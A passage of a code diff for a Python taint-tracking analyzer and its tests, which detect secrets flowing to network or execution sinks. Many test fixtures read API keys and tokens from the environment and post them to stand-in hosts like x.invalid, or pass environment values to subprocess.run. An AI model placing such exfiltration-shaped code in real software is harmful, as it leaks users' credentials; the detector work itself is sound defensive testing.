_build_scope_index( elif isinstance(node, ast.MatchMapping): if node.rest: scope.bind(node.rest) + elif isinstance(node, ast.AnnAssign): + target = node.target + if node.value is None and scope.kind == _CLASS and isinstance(target, ast.Name): + annotation_only.add(target) elif isinstance(node, ast.Assign): index.statements.append((node, scope)) if isinstance(node.value, ast.Lambda): @@ -1304,10 +1317,10 @@ def binding_scope(scope: _Scope, name: str) -> _Scope: binder = binding_scope(scope, node.id) key = index.key(binder, node.id) index.name_key[node] = key - if not isinstance(node.ctx, ast.Load): - index.stored.add(key) - elif binder is scope and scope.kind == _CLASS: - index.class_reads[(key, index.key(module, node.id))] = None + if binder is scope and scope.kind == _CLASS and isinstance(node.ctx, ast.Load): + view = index.synthetic(("class read", scope.id, node.id), False, node.id) + index.class_read_views[node] = view + index.class_reads[(view, key, index.key(module, node.id))] = None for name, definition in scope.definitions or (): tick() definition.key = index.key(binding_scope(scope, name), name) @@ -1344,7 +1357,7 @@ def _index_definitions(index: _ScopeIndex, tick: Callable[[], None]) -> None: tick() node = function.node if node.args.kwarg is not None: - index.kwarg_params[index.key(function.scope, node.args.kwarg.arg)] = function + index.kwarg_params.add(index.key(function.scope, node.args.kwarg.arg)) if isinstance(node, ast.Lambda): continue parent = function.scope.parent @@ -1434,13 +1447,13 @@ class _TaintGraph: and 1, one in lane 2, two slots each). * Phase A replays exactly the assignment flows earlier releases used - (``x = `` reads every name in ````), in the same order, plus - a class body's read of the module global under a name the class also - binds (earlier releases had one name for both). In lane 2, which keeps - the first source to arrive, a key that earlier releases tainted the - same way holds the source and line they cite. Their fact differs only - where it came from a same-named variable in another scope, a name clash - this scoping removes. + (``x = `` reads every name in ```` outside source calls), + in the same order, plus a class body's read of the module global under + a name the class also binds (earlier releases had one name for both). + In lane 2, which keeps the first source to arrive, a key that earlier + releases tainted the same way holds the source and line they cite. + Their fact differs only where it came from a same-named variable in + another scope, a name clash this scoping removes. * Phase B adds what scoping makes precise: arguments of direct in-file calls bind into parameters (as bound facts), parameter defaults, return summaries read by callers, and ``self.x`` / ``cls.x`` attributes. @@ -1449,8 +1462,11 @@ class _TaintGraph: source; lane 2 is never replaced. At a sink, the sink's ranked lane decides the rule, and the message cites - the lane 2 fact whenever that gives the same rule (``cited``). A more - severe source therefore changes a message only where it changes the rule. + the lane 2 fact whenever that gives the same rule (``cited``). Variables + phase A tainted are cited before those only phase B taints. A more + severe source therefore changes a finding's message only where it + changes the rule (and, at that sink, a weaker finding may be subsumed or + cite another variable). A callee's return summary carries only facts that do not depend on its parameters: bound facts never enter it. What a call returns from its @@ -1485,6 +1501,8 @@ def __init__( # Per flow, one bit per (lane, source rank, slot) it has already propagated. self.fired: list[int] = [] self.returns: dict[int, int] = {} # group id -> return summary key + # Keys phase A tainted: sinks cite these first (``main``'s flows). + self.phase_a_keys: frozenset[int] = frozenset() self._values: dict[ast.Call, int] = {} self._class_links: set[tuple[int, str]] = set() @@ -1544,14 +1562,17 @@ def scan( *nested_values*, an in-file call is read through its value key and not walked. With *opaque_lambdas* a lambda is not walked: a default holds the function object, and each lambda's own defaults are scanned once, - for that lambda. Sources, each with the lanes it is for: in lanes 0 - and 1 the most severe source call (the first in walk order among - equals), in lane 2 the first source call in walk order (the one - earlier releases took); or an ``os.environ[...]`` subscript as the - whole expression. + for that lambda; only the body of an immediately called lambda, whose + value the default holds, is walked. A source call is not walked + either: its value is what it reads, not its arguments. Sources, each + with the lanes it is for: in lanes 0 and 1 the most severe source + call (the first in walk order among equals), in lane 2 the first + source call in walk order (the one earlier releases took); or an + ``os.environ[...]`` subscript as the whole expression. """ index = self.index name_key = index.name_key + class_reads = index.class_read_views tick = self.tick names: dict[int, None] = {} others: dict[int, None] = {} @@ -1562,7 +1583,9 @@ def scan( tick() child = queue.popleft() if isinstance(child, ast.Name): - key = name_key.get(child) + key = class_reads.get(child) + if key is None: + key = name_key.get(child) if key is not None and index.visible(key, root): names[key] = None continue @@ -1578,8 +1601,14 @@ def scan( for lane in _LANES: if ranks[lane] > best_rank[lane]: best[lane], best_rank[lane] = source, ranks[lane] + # The call's value is what it reads (a file, a response, + # an environment value), not its own arguments. + continue for group in index.call_targets(child, tick).results: others[self.ret_key(group)] = None + if opaque_lambdas and isinstance(child.func, ast.Lambda): + # An immediately called lambda yields its body's value. + queue.append(child.func.body) elif isinstance(child, ast.Attribute): view = index.attribute_view(child) if view is not None: @@ -1683,13 +1712,16 @@ def bind_arguments( added); from the first ``*args`` on they share a wildcard slot keyed by the parameter index it starts at, and arguments at index ``_MAX_POSITIONAL_SLOTS`` or beyond share the last one. ``**mapping`` - binds a wildcard keyed by the offset, except a forwarded ``**kwargs`` - whose keyword names are known, which binds as those keywords. So an - implicit ``self`` / ``cls`` is never filled by an unpacking. + binds a wildcard keyed by the offset, so an implicit ``self`` / ``cls`` + is never filled by an unpacking. A forwarded ``**kwargs`` (a function's + own ``**`` parameter) binds only into the callee's ``**`` parameter: + which names it holds is not tracked, so it never fills named ones. + Every argument costs one slot per callee, whatever its shape. """ slots: list[list[int]] = [] starred_at = -1 for position, arg in enumerate(node.args): + self.tick() if starred_at < 0 and isinstance(arg, ast.Starred): starred_at = position keys: list[int] = [] @@ -1704,61 +1736,31 @@ def bind_arguments( keys.append(self.slot(group, slot)) slots.append(keys) for keyword in node.keywords: - names = ( - [keyword.arg] if keyword.arg is not None else self.forwarded_names(keyword.value) - ) + self.tick() keys = [] + forwarded = keyword.arg is None and self.forwards_kwargs(keyword.value) for group, offset in members: - if names is None: + if forwarded: + keys.append(self.slot(group, "**fwd")) + continue + if keyword.arg is None: keys.append(self.slot(group, ("**", offset))) continue named, kwarg_named = group.signature() - for name in names: - if name in named: - keys.append(self.slot(group, ("kw", name))) - if kwarg_named is not None and name not in kwarg_named: - keys.append(self.slot(group, "kw*")) - slots.append(list(dict.fromkeys(keys))) + if keyword.arg in named: + keys.append(self.slot(group, ("kw", keyword.arg))) + if kwarg_named is not None and keyword.arg not in kwarg_named: + keys.append(self.slot(group, "kw*")) + slots.append(keys) for keys, (names, others, sources) in zip(slots, scans, strict=True): self.seed(keys, _BIND, line, sources) self.add_flow([*names, *others], keys, _BIND, line, False) - def forwarded_names(self, value: ast.expr) -> list[str] | None: - """The keywords a forwarded ``**kwargs`` can hold, or ``None`` if unknown. - - ``**kwargs`` of an in-file function holds only the keyword names its - call sites pass into it (``collect_keywords``), unless some call site - passes a ``**mapping`` or the parameter is reassigned. - """ - if not isinstance(value, ast.Name): - return None - index = self.index - key = index.name_key.get(value, -1) - function = index.kwarg_params.get(key) - if function is None or function.group is None or key in index.stored: - return None - group = function.group - return None if group.kw_open else sorted(group.kw_names) - - def collect_keywords(self) -> None: - """Record the keyword names each callee's ``**kwargs`` receives.""" - index = self.index - for node, _scope in index.statements: - if not isinstance(node, ast.Call) or not node.keywords: - continue - self.tick() - for group, _offset in index.call_targets(node, self.tick).members: - _named, kwarg_named = group.signature() - if kwarg_named is None or group.kw_open: - continue - for keyword in node.keywords: - if keyword.arg is None: - group.kw_open = True - break - if keyword.arg not in kwarg_named: - group.kw_names.add(keyword.arg) - if len(group.kw_names) > _MAX_POSITIONAL_SLOTS: - group.kw_open = True + def forwards_kwargs(self, value: ast.expr) -> bool: + """Whether ``**value`` forwards a function's own ``**kwargs`` parameter.""" + return isinstance(value, ast.Name) and self.index.name_key.get(value) in ( + self.index.kwarg_params + ) def slot(self, group: _Group, slot: object) -> int: key = group.slots.get(slot) @@ -1789,7 +1791,8 @@ def link_callees(self) -> None: Parameter *i* reads positional slot *i*, the ``*args`` wildcards that start at or before *i*, its keyword slot and the ``**mapping`` wildcards whose receiver offset is at most *i* (keywords and mappings - never reach positional-only parameters). + never reach positional-only parameters). A ``**kwargs`` parameter also + reads forwarded ``**kwargs``. """ index = self.index for group in index.groups: @@ -1805,6 +1808,7 @@ def link_callees(self) -> None: (offset, slots[("**", offset)]) for offset in (0, 1) if ("**", offset) in slots ] rest = slots.get("kw*") + forwarded = slots.get("**fwd") for function in group.functions: self.tick() args = function.node.args @@ -1828,7 +1832,7 @@ def link_callees(self) -> None: ) self.bind_parameter(reads, index.key(scope, args.vararg.arg)) if args.kwarg is not None: - reads = [rest, *(key for _, key in mappings)] + reads = [rest, forwarded, *(key for _, key in mappings)] self.bind_parameter(reads, index.key(scope, args.kwarg.arg)) def bind_parameter(self, reads: list[int | None], target: int) -> None: @@ -1836,7 +1840,9 @@ def bind_parameter(self, reads: list[int | None], target: int) -> None: def link_attributes(self) -> None: """A ``self.x`` read sees ``self.x`` stores in its class and in-file - bases, and the class-body ``x`` of the nearest of them that binds it.""" + bases, and the class-body ``x`` of the nearest of them whose body + binds ``x`` in any way (an assignment, annotated assignment, method, + import, ...); only an assignment's value is modelled.""" index = self.index ids = index._ids for node in index.attributes: @@ -1855,16 +1861,16 @@ def link_attributes(self) -> None: if body is not None: reads.append(body) shadowed = True - elif attr in owner.methods: - shadowed = True + elif attr in owner.body_names(): + shadowed = True # bound without a modelled value self.add_flow(reads, (view,), _PASS, 0, False) def build(self) -> None: index = self.index - for class_key, module_key in index.class_reads: + for view, class_key, module_key in index.class_reads: self.tick() - self.add_flow((module_key,), (class_key,), _PASS, 0, True) - self.collect_keywords() + self.add_flow((module_key,), (view,), _PASS, 0, True) + self.add_flow((class_key,), (view,), _PASS, 0, True) for node, scope in index.statements: self.tick() if isinstance(node, ast.Assign): @@ -1889,6 +1895,7 @@ def run(self) -> None: def propagate(self) -> None: # Phase A: the assignment flows earlier releases propagated, in order. self.drain(self.worklist, (self.prop_a,)) + self.phase_a_keys = frozenset(self.facts[0][_FIRST_LANE]) # Phase B: every flow. Phase A facts are read again through the new # flows (each phase A flow already fired for them and is skipped). worklist: deque[tuple[int, int, int]] = deque( @@ -1932,7 +1939,9 @@ def drain( if fact_lanes >> lane & 1: want |= 1 << (6 * lane + 2 * ranks[lane] + slot) for table in tables: - for flow_id in table.get(key, ()): + for count, flow_id in enumerate(table.get(key, ())): + if count and not count & 1023: + self.tick() # a key read by very many flows mark = fired[flow_id] todo_bits = want & ~mark if not todo_bits: @@ -2059,25 +2068,36 @@ def _find_tainted_names_in_args( ) -> list[_TaintedVar]: """Find tainted variables, ``self.x`` attributes and helper results a sink reads. - Plain variable reads come first, in ``ast.walk`` order, so a flow earlier - releases reported keeps its message; attributes and in-file call results - follow. Each is named as the sink spells it, and reported once. + Plain variables that earlier releases' flows taint (phase A) come first, + in ``ast.walk`` order, so a flow earlier releases reported keeps its + message; plain variables only the new flows taint (bound parameters, + helper results) follow, then attributes and in-file call results. Each + is named as the sink spells it, and reported once. """ tick = check_runtime or _noop index = graph.index + class_reads = index.class_read_views + phase_a = graph.phase_a_keys lane = 1 if sink_name in _EXEC_SINKS or sink_name in _DESERIALIZATION_SINKS else 0 seen: set[int] = set() names: list[_TaintedVar] = [] + new_names: list[_TaintedVar] = [] others: list[_TaintedVar] = [] for child in ast.walk(node): tick() if child is node: continue - reads: list[tuple[int | None, ast.AST, list[_TaintedVar]]] + read: ast.Name | None = None if isinstance(child, ast.Name): - reads = [(index.name_key.get(child), child, names)] + read = child elif isinstance(child, ast.Subscript) and isinstance(child.value, ast.Name): - reads = [(index.name_key.get(child.value), child.value, names)] + read = child.value + reads: list[tuple[int | None, ast.AST, list[_TaintedVar]]] + if read is not None: + key = class_reads.get(read) + if key is None: + key = index.name_key.get(read) + reads = [(key, read, names if key in phase_a else new_names)] elif isinstance(child, ast.Attribute): reads = [(index.views.get(child), child, others)] elif isinstance(child, ast.Call): @@ -2095,7 +2115,7 @@ def _find_tainted_names_in_args( continue seen.add(key) out.append(_TaintedVar(_spelling(spelled), _SOURCE_NAMES[fact[0]], fact[1])) - return names + others + return names + new_names + others def _analyze_python( diff --git a/tests/nodes/analyzers/test_behavioral_taint_tracking.py b/tests/nodes/analyzers/test_behavioral_taint_tracking.py index 1ec381cc3..748d592bf 100644 --- a/tests/nodes/analyzers/test_behavioral_taint_tracking.py +++ b/tests/nodes/analyzers/test_behavioral_taint_tracking.py @@ -1508,7 +1508,6 @@ def test_argument_binding(self) -> None: "upload(**{'payload': secret})", 'upload(os.getenv("API_KEY"))', "wrapper(secret)", - "wrapper(payload=secret)", ): code = _code( f""" @@ -1523,6 +1522,10 @@ def main(): """ ) assert len(_flows(code)) == 1, call + # A forwarded ``**kwargs`` binds only into the callee's own ``**`` + # parameter, which ``upload`` lacks: the keyword is not followed. + forwarded = code.replace("wrapper(secret)", "wrapper(payload=secret)") + assert _run(forwarded) == [] def test_defaults_varargs_and_kwargs(self) -> None: for definition, call in ( @@ -1542,6 +1545,25 @@ def test_defaults_varargs_and_kwargs(self) -> None: ) assert len(_flows(code)) == 1, definition + def test_immediately_called_lambda_defaults_hold_their_value(self) -> None: + """A default ``(lambda: ...)()`` holds the lambda's return value, so its + body is read; a default that is a lambda holds a function and is not.""" + for definition in ( + 'def f(tok=(lambda: os.getenv("API_TOKEN"))()):', + 'def f(*, tok=(lambda: os.getenv("API_TOKEN"))()):', + 'def f(tok=(lambda k: os.getenv(k))("API_TOKEN")):', + 'f = lambda tok=(lambda: os.getenv("API_TOKEN"))(): requests.post(URL, data=tok)', + ): + body = "" if definition.startswith("f = ") else " requests.post(URL, data=tok)\n" + code = f'import os, requests\nURL = "https://x.invalid"\n{definition}\n{body}' + assert [f.rule_id for f in _run(code)] == ["TT3"], definition + not_called = ( + "import os, requests\n" + 'def f(tok=lambda: os.getenv("API_TOKEN")):\n' + ' requests.post("https://x.invalid", data=tok)\n' + ) + assert _run(not_called) == [] + def test_positional_arguments_beyond_the_slot_cap_still_bind(self) -> None: cap = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS @@ -1563,6 +1585,25 @@ def module(width: int, tainted: int, read: int) -> str: # Arguments past the cap never reach the explicit parameters before it. assert _flows(module(cap + 1, cap, 0)) == [] assert _flows(module(cap + 1, cap, cap - 1)) == [] + # The argument at exactly index ``cap`` also reaches ``*rest``, as a + # function argument and after an implicit ``self`` (offset 1). + leading = ", ".join(["0"] * cap) + star = ( + "import os, requests\n" + "def send(*rest):\n" + ' requests.post("https://example.invalid", data=rest)\n' + f'send({leading}, os.getenv("API_KEY"))\n' + ) + method = ( + "import os, requests\n" + "class Api:\n" + f" def send(self, {', '.join(f'p{i}' for i in range(cap - 1))}, *rest):\n" + ' requests.post("https://example.invalid", data=rest)\n' + " def run(self):\n" + f' self.send({", ".join(["0"] * (cap - 1))}, os.getenv("API_KEY"))\n' + ) + assert len(_flows(star)) == 1 + assert len(_flows(method)) == 1 def test_unpacked_arguments_bind_by_position_and_name(self) -> None: """``*seq`` fills parameters from its position on; ``**mapping`` fills @@ -2333,7 +2374,7 @@ def go(self, label): """ ) assert _summary(unbound) == [("TT5", _line(unbound, "# SINK"))] - # Forwarding still reaches the base's named parameter. + # Positional forwarding still reaches the base's named parameter. true_flow = _code( """ import os, requests @@ -2343,14 +2384,15 @@ def __init__(self, token=None): class Child(Base): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - Child(token=os.getenv("API_TOKEN")) + Child(os.getenv("API_TOKEN")) """ ) assert _summary(true_flow) == [("TT3", _line(true_flow, "# SINK"))] - def test_forwarded_kwargs_bind_only_the_keywords_passed_in(self) -> None: - """``super().__init__(**kwargs)`` forwards the keyword names the - subclass's callers pass, not a wildcard over every parameter.""" + def test_forwarded_kwargs_bind_only_the_callees_kwargs(self) -> None: + """A forwarded ``**kwargs`` is one value whose names are not tracked: + it binds only into the callee's own ``**`` parameter, never into + named or keyword-only parameters (``main`` binds nothing at all).""" base = _code( """ import os, requests @@ -2361,40 +2403,41 @@ def __init__(self, api_key=None, timeout=30): def health(self): return requests.get("https://api.invalid/health", timeout=self.timeout) def send(self): - return requests.post("https://api.invalid", headers={"K": self.api_key}) # SINK + return requests.post("https://api.invalid", headers={"K": self.api_key}) class OpenAIClient(BaseClient): def __init__(self, **kwargs): super().__init__(**kwargs) """ ) - named = base + 'OpenAIClient(api_key=os.getenv("OPENAI_API_KEY"))\n' - assert _summary(named) == [("TT3", _line(named, "# SINK"))] - # An opaque mapping at the call site may hold any name: every keyword - # parameter except the implicit receiver can receive it. - opaque = base + 'OpenAIClient(**{"api_key": os.getenv("OPENAI_API_KEY")})\n' - assert len(_flows(opaque)) == 2 - reassigned = named.replace( - " super().__init__(**kwargs)", - " kwargs = dict(kwargs)\n super().__init__(**kwargs)", - ) - assert len(_flows(reassigned)) == 2 - # A keyword the subclass takes by name never reaches its ``**kwargs``, - # so forwarding it binds only the names that do. - own_parameter = _code( + for call in ( + 'OpenAIClient(api_key=os.getenv("OPENAI_API_KEY"))', + 'OpenAIClient(api_key=os.getenv("OPENAI_API_KEY"), timeout=10).health()', + 'OpenAIClient(**{"api_key": os.getenv("OPENAI_API_KEY")})', + ): + assert _run(base + call + "\n") == [], call + wrapper = _code( """ import os, requests - class BaseClient: - def __init__(self, api_key=None, timeout=30, **rest): - self.api_key = api_key - def send(self): - return requests.post("https://api.invalid", headers={"K": self.api_key}) - class OpenAIClient(BaseClient): - def __init__(self, api_key=None, **kwargs): - super().__init__(**kwargs) - OpenAIClient(api_key="public", extra=os.getenv("OPENAI_API_KEY")) + def fetch(url=None, token=None): + return requests.get(url, timeout=5) + def wrapper(**kw): + return fetch(**kw) + wrapper(url="https://status.invalid", token=os.getenv("API_TOKEN")) """ ) - assert _run(own_parameter) == [] + assert _run(wrapper) == [] + # Into a callee that takes ``**kwargs`` itself, the value does flow. + into_kwargs = _code( + """ + import os, requests + def send(**opts): + requests.post("https://x.invalid", json=opts) # SINK + def wrapper(**kw): + return send(**kw) + wrapper(token=os.getenv("API_TOKEN")) + """ + ) + assert _summary(into_kwargs) == [("TT3", _line(into_kwargs, "# SINK"))] def test_overflow_arguments_never_fill_earlier_parameters(self) -> None: cap = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS @@ -2486,6 +2529,107 @@ def chain(levels_up: int) -> str: assert [f.rule_id for f in _run(chain(depth - 1))] == ["TT3"] assert _run(chain(depth)) == [] + def test_lookup_bound_holds_with_several_bases(self) -> None: + """The cap counts classes in C3 order also when the merge has several + bases: the 8th class is searched, the 9th is not.""" + + def module(owner: int) -> str: + lines = ["import os, requests"] + for i in range(8): + if i == owner: + lines += [ + f"class A{i}:", + " def send(self, payload):", + ' requests.post("https://x.invalid", data=payload)', + ] + else: + lines.append(f"class A{i}: pass") + lines += [ + "class D(" + ", ".join(f"A{i}" for i in range(8)) + "):", + " def go(self):", + ' self.send(os.getenv("API_KEY"))', + ] + return "\n".join(lines) + "\n" + + assert behavioral_taint_tracking._MAX_ANCESTORS == 8 + assert [f.rule_id for f in _run(module(6))] == ["TT3"] # D, A0..A6: 8th + assert _run(module(7)) == [] # A7 is the 9th class in the order + + def test_c3_keeps_local_precedence_and_every_base(self) -> None: + """``class C(B1, B2, B3)`` with ``B1(B3)`` resolves ``B2`` before + ``B3``, and a base past the 8th still constrains the order.""" + local = _code( + """ + import os, requests, subprocess + class B3: + def handle(self, value): + subprocess.run(value) + class B1(B3): + pass + class B2: + def handle(self, value): + requests.post("https://x.invalid", data=value) # SINK + class C(B1, B2, B3): + def go(self): + self.handle(os.getenv("API_KEY")) + """ + ) + assert _summary(local) == [("TT3", _line(local, "# SINK"))] + nine = ( + "import os, requests, subprocess\n" + "class X:\n def handle(self, value):\n subprocess.run(value)\n" + "class A0(X): pass\n" + "class A1:\n def handle(self, value):\n" + ' requests.post("https://x.invalid", data=value) # SINK\n' + + "".join(f"class A{i}: pass\n" for i in range(2, 8)) + + "class A8(X): pass\n" + "class D(" + ", ".join(f"A{i}" for i in range(9)) + "):\n" + ' def go(self):\n self.handle(os.getenv("API_KEY"))\n' + ) + assert _summary(nine) == [("TT3", _line(nine, "# SINK"))] + + def test_self_and_plain_cls_calls_are_not_constructors(self) -> None: + """Only a classmethod's ``cls(...)`` constructs; ``self()`` and the + first parameter of an undecorated method (a metaclass's ``cls``) do + not.""" + for code in ( + _code( + """ + import os, requests + class Vault: + def load(self): + return os.environ.get("TOKEN") + def push(self): + v = self().load() + requests.post("https://x.invalid", data=v) + """ + ), + _code( + """ + import os, requests + class Meta(type): + def secret(cls): + return os.environ.get("TOKEN") + def make(cls): + v = cls().secret() + requests.post("https://x.invalid", data=v) + """ + ), + _code( + """ + import os, requests + class Client: + def __init__(self, token=None): + requests.post("https://x.invalid", data=token) + def __call__(self, token): + return token + def rebuild(self): + self(os.environ.get("TOKEN")) + """ + ), + ): + assert _run(code) == [], code + def test_a_subclass_body_shadows_a_base_class_attribute(self) -> None: shadowed = _code( """ @@ -2517,6 +2661,39 @@ def ping(self): ) (finding,) = _run(own) assert f"'self.token' from os.environ.get (line {_line(own, '# OWN')}," in finding.message + # Any class-body binding shadows, also without a modelled value; an + # annotation without a value binds nothing and does not. + for binding in ( + 'api_key: str = "public"', + "api_key: Optional[str] = None", + 'api_key: ClassVar[str] = ""', + "from json import dumps as api_key", + ): + code = _code( + f""" + import os, requests + from typing import ClassVar, Optional + class Base: + api_key = os.environ["KEY"] + class Public(Base): + {binding} + def send(self): + requests.post("https://x.invalid", headers={{"k": self.api_key}}) + """ + ) + assert _run(code) == [], binding + annotation_only = _code( + """ + import os, requests + class Base: + api_key = os.environ["KEY"] + class Public(Base): + api_key: str + def send(self): + requests.post("https://x.invalid", headers={"k": self.api_key}) + """ + ) + assert [f.rule_id for f in _run(annotation_only)] == ["TT3"] # An instance store in the subclass does not hide the class value # (flow-insensitive, as documented). instance = _code( @@ -2905,6 +3082,21 @@ def send(self): """ ) assert _run(store_only) == [] + # Reading the name in the class body does not give the class's own + # value (and so ``self.TOKEN``) the global's taint. + for read in ("print(TOKEN)", 'HEADERS = {"X-Token": TOKEN}'): + code = _code( + f""" + import os, requests + TOKEN = os.environ.get("TOKEN") + class PublicClient: + TOKEN = "public-demo-token" + {read} + def ping(self): + return requests.get("https://x.invalid", headers={{"X": self.TOKEN}}) + """ + ) + assert _run(code) == [], read # The global reaches the class-body name in main's order, so the # message names the global's source as main does. ordered = _code( @@ -3173,11 +3365,14 @@ def test_deserialization_ranks_a_file_above_a_credential(self) -> None: class TestMessageCompatibility: - """Messages keep main's wording for every flow main also reports. - - Exact baseline fingerprints and message-glob baseline rules include the - message: the variable read at the sink and the line of the statement that - last tainted it (not the line of the original source call). + """Messages keep main's wording for every flow main also reports with the + same rule, except where main's fact came from a same-named variable in + another scope, where a raised rule at the sink subsumes or re-cites a + weaker finding, and where an identifier exceeds ``_MAX_NAME_CHARS``. + + Message-glob baseline rules match the message: the variable read at the + sink and the line of the statement that last tainted it (not the line of + the original source call). """ def test_reassignment_chain_cites_the_last_assignment(self) -> None: @@ -3341,6 +3536,84 @@ def test_a_same_rule_finding_keeps_mains_message(self, code: str, message: str) (finding,) = _run(code) assert finding.message == message + @pytest.mark.parametrize( + ("code", "messages"), + [ + pytest.param( + "import json, os, requests\n" + 'config = json.load(open(os.getenv("APP_CONFIG", "config.json")))\n' + 'requests.post(config["webhook_url"], json={"status": "ok"})\n', + [ + "TT4 Tainted flow: 'config' from open (line 2, file read) " + "→ requests.post (network output)" + ], + id="config_path_from_env", + ), + pytest.param( + "import os, requests\n" + 'path = os.getenv("APP_CONFIG")\n' + "data = open(path).read()\n" + 'requests.post("https://x.invalid", data=data)\n', + [ + "TT4 Tainted flow: 'data' from open (line 3, file read) " + "→ requests.post (network output)" + ], + id="path_variable_from_env", + ), + pytest.param( + "import os, requests\n" + 'token = os.getenv("TOKEN")\n' + 'meta = requests.get("https://x.invalid/a", headers={"A": token}).json()\n' + 'requests.get(meta["url"])\n', + [ + "TT2 Tainted flow: 'meta' from requests.get (line 3, network input) " + "→ requests.get (network output)", + "TT3 Tainted flow: 'token' from os.getenv (line 2, credential/environment) " + "→ requests.get (network output)", + ], + id="authenticated_get", + ), + ], + ) + def test_a_source_calls_value_is_what_it_reads(self, code: str, messages: list[str]) -> None: + """A source call's arguments do not flow into its value: a file opened + at an environment path holds file contents, as ``main`` reports.""" + assert sorted(f"{f.rule_id} {f.message}" for f in _run(code)) == messages + + def test_main_tainted_variables_are_cited_before_bound_parameters(self) -> None: + """A parameter bound from a call site and read earlier at the sink + does not take over ``main``'s message for the same rule.""" + for code, message in ( + ( + _code( + """ + import os, requests + def send(url): + token = os.getenv("TOKEN") + requests.post(url, data=token) + send(os.getenv("BASE_URL")) + """ + ), + "Tainted flow: 'token' from os.getenv (line 3, credential/environment) " + "→ requests.post (network output)", + ), + ( + _code( + """ + import os, subprocess + def run(binary, *args): + extra = os.getenv("EXTRA_FLAGS") + subprocess.run([binary, extra, *args]) + run(os.getenv("TOOL")) + """ + ), + "Tainted flow: 'extra' from os.getenv (line 3, credential/environment) " + "→ subprocess.run (code execution)", + ), + ): + (finding,) = _run(code) + assert finding.message == message + def test_a_rule_upgrade_cites_the_first_of_the_most_severe_sources(self) -> None: code = ( "import os, sys, subprocess\n" @@ -3661,12 +3934,28 @@ def _chained_lambda(n: int) -> str: return f"q = {{}}\n{names} = lambda {params}: 0\n" + "".join(f"a{i}(**q)\n" for i in range(n)) -def _nested_lambda_defaults(n: int) -> str: - """Lambdas nested n deep through their defaults.""" +def _nested_lambda_defaults(n: int, wrap: str = "{}") -> str: + """Lambdas nested n deep through their defaults (inside *wrap* each level).""" expression = "0" for _ in range(n): - expression = f"lambda a={expression}: 0" - return "".join(f"x{i} = {expression}\n" for i in range(4)) + expression = f"lambda a={wrap.format(expression)}: 0" + return "y = g = print\n" + "".join(f"x{i} = {expression}\n" for i in range(4)) + + +def _nested_lambda_defaults_in_calls(n: int) -> str: + return _nested_lambda_defaults(n, "print({})") + + +def _nested_lambda_defaults_in_conditionals(n: int) -> str: + return _nested_lambda_defaults(n, "y if y else {}") + + +def _many_bases(n: int) -> str: + """One class listing n in-file bases, its methods called through self.""" + bases = "".join(f"class B{i}:\n def m{i}(self, a):\n return a\n" for i in range(n)) + names = ", ".join(f"B{i}" for i in range(n)) + calls = "".join(f" self.m{i}(1)\n" for i in range(n)) + return bases + f"class D({names}):\n def go(self):\n{calls}" def _forwarded_unpacking(n: int) -> str: @@ -3680,8 +3969,8 @@ def _forwarded_unpacking(n: int) -> str: def _forwarded_keywords(n: int) -> str: - """Forwarded ``**kwargs`` whose callers pass many names: past the cap the - forwarding binds as one wildcard, not once per name.""" + """Forwarded ``**kwargs`` whose callers pass many names: each forwarding + binds one slot per callee, however many names its callers pass.""" params = ",".join(f"p{i}=0" for i in range(n)) return ( f"class B:\n def __init__(self, {params}):\n pass\n" @@ -3691,7 +3980,7 @@ def _forwarded_keywords(n: int) -> str: ) -# Every denial-of-service repro from the two reviews of this change, scaled +# Every denial-of-service repro from the reviews of this change, scaled # down. Each must cost work linear in its size, so quadrupling the size may # at most about quadruple the analyzer's executed lines (a quadratic path # grows 16x). @@ -3724,6 +4013,9 @@ def _forwarded_keywords(n: int) -> str: "deep_scopes": (_deep_scopes, 20), "chained_lambda": (_chained_lambda, 150), "nested_lambda_defaults": (_nested_lambda_defaults, 40), + "nested_lambda_defaults_in_calls": (_nested_lambda_defaults_in_calls, 40), + "nested_lambda_defaults_in_conditionals": (_nested_lambda_defaults_in_conditionals, 40), + "many_bases": (_many_bases, 100), "forwarded_unpacking": (_forwarded_unpacking, 100), "forwarded_keywords": (_forwarded_keywords, 100), } @@ -3740,6 +4032,29 @@ def test_work_is_linear(self, shape: str) -> None: large = _operations(generate(4 * size)) assert large <= 5 * small, (shape, small, large) + def test_forwarded_kwargs_cost_one_slot_per_callee(self) -> None: + """A forwarded ``**k`` into a callee with many definitions and + parameters costs what an opaque mapping does, not one target per + keyword name its callers pass (the earlier fan-out was ~16x).""" + names = [f"b{i}" for i in range(16)] + params = ",".join(f"{name}=0" for name in names) + callee = ( + "class f:\n" + f" def __init__(self,{params}):pass\n def __init__(self,**w):pass\n" + f" @classmethod\n def __init__(c,{params}):pass\n" + f" @staticmethod\n def __init__({params}):pass\n" + f" def __new__(c,{params}):pass\n" + f"def f({params}):pass\ndef f(**w):pass\n" + ) + passed = ",".join( + f"{name}=os.environ['T']" if name == "b0" else f"{name}=1" for name in names + ) + forwarded = "import os\n" + callee + "def g(**k):\n f(" + "**k," * 300 + ")\n" + forwarded += f"g({passed})\n" + opened = forwarded + "m = {}\ng(**m)\n" + assert _operations(forwarded) <= 2 * _operations(opened) + assert _operations(forwarded) <= 2 * _operations(forwarded.replace("**k,", "**m,")) + class TestAdversarialInputs: """Memory, output size and deadlines on adversarial inputs.""" @@ -4085,6 +4400,25 @@ def test_deadline_is_checked_while_propagating(self) -> None: 1000, id="build_functions", ), + pytest.param( + # One key read by 30,720 flows into one target: few pops. + "drain", + "import os\nx = os.getenv('K')\n" + "t = x\n" * (30 * 1024), + 20, + id="drain_flows_of_one_key", + ), + pytest.param( + "bind_arguments", + "def f(*a):\n pass\nf(" + "x, " * 3000 + ")\n", + 1000, + id="bind_positional_arguments", + ), + pytest.param( + "bind_arguments", + "def f(**k):\n pass\nf(" + "".join(f"k{i}=x, " for i in range(3000)) + ")\n", + 1000, + id="bind_keywords", + ), pytest.param( "propagate", "import os\n"